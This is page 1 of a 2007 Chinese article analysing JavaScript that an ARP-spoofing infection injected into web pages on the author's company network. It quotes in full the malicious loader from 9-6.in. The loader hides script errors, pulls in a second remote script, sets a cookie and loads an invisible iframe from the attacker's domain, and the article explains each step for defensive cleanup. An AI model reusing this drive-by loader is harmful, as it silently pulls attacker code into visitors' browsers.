豆豆网 > 技术应用 > 安全技术 > 杀毒技术 > 病毒理论 > 正文

arp病毒利用的Javascript技术

豆豆网技术应用频道 2007年08月08日社区交流

内容摘要：本文的目的是探讨JS相关技术，并不是以杀毒为主要目的，杀毒只是为讲解一些JS做铺垫的，呵呵，文章有点长，倒杯咖啡或者清茶慢慢看，学习切勿急躁！

　　本文的目的是探讨JS相关技术，并不是以杀毒为主要目的，杀毒只是为讲解一些JS做铺垫的，呵呵，文章有点长，倒杯咖啡或者清茶慢慢看，学习切勿急躁！

　　最近公司的网络中了这两天闹的很欢的ARP病毒，导致大家都无法上网，给工作带来了很大的不方便，在这里写下杀毒的过程，希望对大家能有帮助！

　　现象：

　　打开部分网页显示为乱码，好像是随机的行为，但是看似又不是，因为它一直在监视msn.com，呵呵，可能和微软有仇吧，继续查看源代码，发现头部有一个js文件链接----<script src=http://9-6.in/n.js></script>；

　　来源：

　　经过一番网络搜索，发现这个域名是印度域名，而IP地址却是美国的，而且域名的注册日期是7月25日，看来一切都是预谋好了的，还是不管这个了，先解决问题吧；

　　分析：

　　1、先把（http://9-6.in/n.js）这个JS文件下载下来，代码如下：

　　document.writeln("<script>window.onerror=function(){return true;}</script>");
　　document.writeln("<script src="http://9-6.in/S368/NewJs2.js"></script>");
　　document.writeln("<script>");
　　document.writeln("function StartRun(){");
　　document.writeln("var Then = new Date() ");
　　document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)");
　　document.writeln("var cookieString = new String(document.cookie)");
　　document.writeln("var cookieHeader = "Cookie1=" ");
　　document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
　　document.writeln("if (beginPosition != -1){ ");
　　document.writeln("} else ");
　　document.writeln("{ document.cookie = "Cookie1=POPWINDOS;expires="+ Then.toGMTString() ");
　　document.writeln("document.write('<iframe width=0 height=0 src="http://9-6.IN/s368/T368.htm"></iframe>');");
　　document.writeln("}");
　　document.writeln("}");
　　document.writeln("StartRun();");
　　document.writeln("</script>")

　　其中第一句window.onerror=function(){return true;}就先把JS错误屏蔽掉，真够狠的，呵呵，不这样怎么隐藏自己呢，哈哈！然后还有个JS文件 http://9-6.in/S368/NewJs2.js，先继续往下看，找到StartRun();运行一个函数，函数的主要作用是写COOKIE，日期为保存一天，然后还用隐藏框架加载了一个文件（http://9-6.IN/s368/T368.htm），其余就没有什么特别的了；

12 3 4 5 下一页

来源：蓝色理想作者：veking 责编：豆豆技术应用

点击搜索更多"arp病毒"相关信息

正在加载评论...